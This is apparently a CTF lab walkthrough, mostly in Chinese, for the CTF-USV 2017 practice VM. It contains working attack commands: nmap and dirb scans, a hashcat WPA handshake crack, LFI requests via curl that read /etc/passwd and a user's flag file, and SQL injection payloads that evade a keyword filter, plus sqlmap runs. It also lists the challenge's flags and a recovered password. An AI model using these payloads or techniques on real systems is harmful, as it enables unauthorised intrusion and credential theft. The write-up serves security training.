Difficulty: Beginner/Intermediate
About
This is the VM used in the online qualifications phase of the CTF-USF 2017 (Capture the Flag - Suceava University) contest which addresses to universities students. The VM was created by Oana Stoian (@gusu_oana) and Teodor Lupan (@theologu) from Safetech Innovations, the technical partner of the contest.
Instructions
The CTF is a virtual machine and has been tested in Virtual Box. The network interface of the virtual machine will take it's IP settings from DHCP.
Flags
There are 5 flags that should be discovered in form of: Country_name Flag: [md5 hash]. In CTF platform of the CTF-USV competition there was a hint available for each flag, but accessing it would imply a penalty. If you need any of those hints to solve the challenge, send me a message on Twitter @gusu_oana and I will be glad to help. The countries that should be tracked for flags are: Croatia, France, Italy, Laos, Phillippines
連結 : 點我
解析
.ova/.ovf 可以用 VirtualBox 匯入(檔案->匯入應用裝置)
VM 網路卡設定成Bridged
掃描Port
nmap -sS -sV 192.168.x.x -p-
掃描Web Server目錄
dirb http://192.168.1.106/
Shadow (其實也還搞不懂這代表啥)
Web : http://192.168.1.106/shadow/
Flag1 : Italy
Web : http://192.168.1.106/admin2/
Page Source大法
有趣的 JavaScript
var _0xeb5f = ["\x76\x61\x6C\x75\x65", "\x70\x61\x73\x73\x69\x6E\x70", "\x70\x61\x73\x73\x77\x6F\x72\x64", "\x66\x6F\x72\x6D\x73", "\x63\x6F\x6C\x6F\x72", "\x73\x74\x79\x6C\x65", "\x76\x61\x6C\x69\x64", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x67\x72\x65\x65\x6E", "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x49\x74\x61\x6C\x79\x3A", "\x72\x65\x64", "\x49\x6E\x63\x6F\x72\x72\x65\x63\x74\x21"];
function validate() {
var _0xb252x2 = 123211;
var _0xb252x3 = 3422543454;
var _0xb252x4 = document[_0xeb5f[3]][_0xeb5f[2]][_0xeb5f[1]][_0xeb5f[0]];
var _0xb252x5 = md5(_0xb252x4);
_0xb252x4 += 4469;
_0xb252x4 -= 234562221224;
_0xb252x4 *= 1988;
_0xb252x2 -= 2404;
_0xb252x3 += 2980097;
if(_0xb252x4 == 1079950212331060) {
document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]] = _0xeb5f[8];
document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]] = _0xeb5f[10] + _0xb252x5
} else {
document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[5]][_0xeb5f[4]] = _0xeb5f[11];
document[_0xeb5f[7]](_0xeb5f[6])[_0xeb5f[9]] = _0xeb5f[12]
};
return false
}
整理之後, 回推變數 c
要留意的是當取出password值是String, 故 c+= 4469 時, 是字串連接, 而不是數字相加
var str = ["\x76\x61\x6C\x75\x65", "\x70\x61\x73\x73\x69\x6E\x70", "\x70\x61\x73\x73\x77\x6F\x72\x64", "\x66\x6F\x72\x6D\x73", "\x63\x6F\x6C\x6F\x72", "\x73\x74\x79\x6C\x65", "\x76\x61\x6C\x69\x64", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x67\x72\x65\x65\x6E", "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x49\x74\x61\x6C\x79\x3A", "\x72\x65\x64", "\x49\x6E\x63\x6F\x72\x72\x65\x63\x74\x21"];
// var str = ["value", "passinp", "password", "forms", "color", "style", "valid", "getElementById", "green", "innerHTML", "Italy:", "red", "Incorrect!"];
/*
0 : value
1 : passinp
2 : password
3 : forms
4 : color
5 : style
6 : valid
7 : getElementById
8 : green
9 : innerHTML
10 : Italy:
11 : red
12 : Incorrect!
*/
function validate() {
var a = 123211;
var b = 3422543454;
var c = document[str[3]][str[2]][str[1]][str[0]]; // String, 77779673
// var c = document["forms"]["password"]["passinp"]["value"];
var e = md5(c);
c += 4469; // "77779673" + "4469"
c -= 234562221224;
c *= 1988;
a -= 2404;
b += 2980097;
if (c == 1079950212331060) { // (1079950212331060 / 1988 + 234562221224) - 4469 = 777796730000
document[str[7]](str[6])[str[5]][str[4]] = str[8];
// document["getElementById"]("valid")["style"]["color"] = "green"
document[str[7]](str[6])[str[9]] = str[10] + e
// document["getElementById"]("valid")["innerHTML"] = "Italy:" + e
} else {
document[str[7]](str[6])[str[5]][str[4]] = str[11];
// document["getElementById"]("valid")["style"]["color"] = "red"
document[str[7]](str[6])[str[9]] = str[12]
// document["getElementById"]("valid")["innerHTML"] = "Incorrect!"
};
return false
}
密碼 : 77779673
結果 : 46202df2ae6c46db8efc0af148370a78
Flag2 France
Web : https://192.168.1.106:15020/
SSL憑證 Subject欄位
E = [email protected]
CN = a51f0eda836e4461c3316a2ec9dad743
O = CTF
L = Paris
ST = Paris
C = FR
Flag3 Philippines
Web : https://192.168.1.106:15020/vault/
目前也只能用wget跑全部看有沒有例外了
wget -R index.html* --no-check-certificate -r
https://192.168.1.106:15020/vault/
find . -type f ! -name 'index.html*'
直接排除掉不是 index.html相關的
rockyou.zip 有個 rockyou.txt
嘗試搜尋了一下, 沒有找到東西
ctf.cap 是一個wireshark的檔案, 而且內容是關於Wifi handshake
cap/pcap 轉換至 hccapx, 加上rockyou.txt, 再用hashcat硬爆
hashcat -m 2500 -a 0 ctf.hccapx ./rockyou.txt
結果 : 1cc49359803ea62c5c73b8bd1f2dfb4a:202818a0cc7e:a4db3028ff57:CTFUSV:minion.666
Memo : 這邊其實有卡關, 完全不知道帳號密碼怎麼輸入, 從底下的LFI漏洞應該可以去看這個login.php原始碼
找的方向是
/etc/apach2/apache2.conf
/etc/apache2/sites-available/default-ssl.conf
可以發現 DocumentRoot /var/www/ssl
所以我們可以看看 /var/www/ssl/blog/admin/login.php 是甚麼內容
其中有
../classes/db.php
../classes/user.php
mysql有沒有可能可以登入, 可是似乎沒有開啟Port 3306
靈光一閃的輸入 admin / minion.666
這一定要截圖紀念一下, 太嘲諷了
最後對著登入後的這個管理頁面開啟Page Source 大法
本題答案 : 551d3350f100afc6fac0e4b48d44d380
Memo : 這邊也有一種方法是SQL Injection或是用LFI漏洞, 改寫PHP File, 生成新檔案之類的(?)
Flag4 Croatia
dirb https://192.168.1.106:15020/
https://192.168.1.106:15020/blog/
https://192.168.1.106:15020/vault/
這裡暗示在User根目錄有個flag.txt
Page Source 大法
index.php中發現有個被註解的 download.php
'image' parameter is empty. Please provide file path in 'image' parameter
Hint : 這是一個LFI (Local File Inclusion)漏洞, 即可打開並包含本地文件的漏洞
先用GET試了一下,毫無效果;那就看看POST
curl -d "image=/etc/passwd" https://192.168.0.18:15020/blog/download.php -k
根據提示 User 根目錄有個flag.txt
curl -d "image=/home/kevin/flag.txt" https://192.168.1.106:15020/blog/download.php -k
結果 : e4d49769b40647eddda2fe3041b9564c
Flag5 Laos
登入後的頁面有Cookie
PHPSESSID : "0lv72s8bun9nkc7vkphsg3df52"
研究一下LFI的方法(參考資料), 到現在還找不到SQL Injection的注入點
index.php有個
if(isset($_POST['title'])){
Post::create();
}
new.php 搭配 Inspector 修改, 應該可以觸發 index.php 新增 Post
而 edit.php 則有
$sql = strtolower($_GET['id']);
$sql = preg_replace("/union select|union all select|sleep|having|count|concat|and user|and isnull/", " ", $sql);
$post = Post::find($sql);
// if (isset($_POST['title'])) {
// $post->update($_POST['title'], $_POST['text']);
// }
Post::find($sql)
$id這邊沒有做 Injection 防護
function find($id) {
$result = mysql_query("SELECT * FROM posts where id=".$id);
$row = mysql_fetch_assoc($result);
if (isset($row)){
$post = new Post($row['id'],$row['title'],$row['text'],$row['published']);
}
return $post;
}
目前已知
Table posts 有 id, title, text, published
Table users 有 login, password
所以, 突破口是 edit.php 的 id, 但是要解決下方防止SQL注入的code
$sql = preg_replace("/union select|union all select|sleep|having|count|concat|and user|and isnull/", " ", $sql);
參考資料 提到 Bypassing WAF: SQL Injection - Normalization Method
另外, sqlmap實在是太神奇了...
sqlmap -u 'https://192.168.1.106:15020/blog/admin/edit.php?id=1' -H 'Cookie: PHPSESSID=0lv72s8bun9nkc7vkphsg3df52' --sql-query='select * from users where id=1'
但這邊要注意的是可以提供欄位最好, 否則就要使用 comon column existence check
Injection 思路如下 :
- MySQL 用 information_schema.tables 來確認 table 清單
/**/union/**/all/**/select%201,2,table_name,4%20from%20information_schema.tables%20order%20by%201%20limit%200,1
- UNION ALL 可以用來蓋掉前方Select的結果
- UNION 時, 要注意欄位數量要相同
- ORDER BY 跟 LIMIT 配合使用才有意義
/*union*/union/*all*/all/*select*/select%201,login,password,4%20from%20users%20order%20by%201%20limit%201,1
/**/union/**/all/**/select%201,login,password,4%20from%20users%20order%20by%201%20limit%201,1
union all select 1,login,password,4 from users order by 1 limit 1,1
sqlmap -u 'https://192.168.1.106:15020/blog/admin/edit.php?id=1' -H 'Cookie: PHPSESSID=0lv72s8bun9nkc7vkphsg3df52' --sql-query='select * from users where id=2'
結果 : 66c578605c1c63db9e8f0aba923d0c12